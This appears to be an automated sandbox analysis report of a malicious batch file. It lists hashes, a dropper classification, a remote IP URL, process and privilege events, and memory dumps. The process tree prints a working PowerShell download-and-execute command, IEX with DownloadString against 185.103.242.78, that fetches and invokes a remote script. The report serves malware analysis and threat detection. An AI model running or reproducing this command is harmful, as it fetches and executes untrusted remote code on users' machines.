3a7e391aaff6e03154e366b5df819a3d550d260df5a13e107f691b57c4811f4d

Analysis

Target

XxNTGzKz.bat
Size

190B
MD5

3678f90ffe3dce18e97095fe049f6cc7
SHA1

8e8d141ad77c44b2c8b835eacd67b039f0ee62e8
SHA256

3a7e391aaff6e03154e366b5df819a3d550d260df5a13e107f691b57c4811f4d
SHA512

1466e273b77eb1b62b58b5c39798c9a8a2ac44a1acdd3d893e2768b8a34ff4c0815004c8ab497fca8e40a6b1f65c9a6a2df4b19bdece5bf3ee9471a18b893716

Score

10^/10

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/XxNTGzKz

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 5 http://www.msftconnecttest.com/connecttest.txt
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2440 1348 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2440 WerFault.exe
Token: SeBackupPrivilege 2440 WerFault.exe
Token: SeDebugPrivilege 2440 WerFault.exe

description	flow	ioc
HTTP URL	5	http://www.msftconnecttest.com/connecttest.txt

pid	pid_target	process	target process
2440	1348	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XxNTGzKz.bat"
1⤵
PID:3608

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/XxNTGzKz');Invoke-HDELSZM;Start-Sleep -s 10000"
2⤵
PID:1348

memory/2440-0-0x0000000004A20000-0x0000000004A21000-memory.dmp

Filesize
4KB

Download
memory/2440-1-0x0000000005150000-0x0000000005151000-memory.dmp

Filesize
4KB

Download